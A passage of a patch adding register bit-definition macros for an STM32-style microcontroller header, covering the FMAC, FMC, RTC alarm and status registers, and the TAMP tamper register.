Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20UL) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk 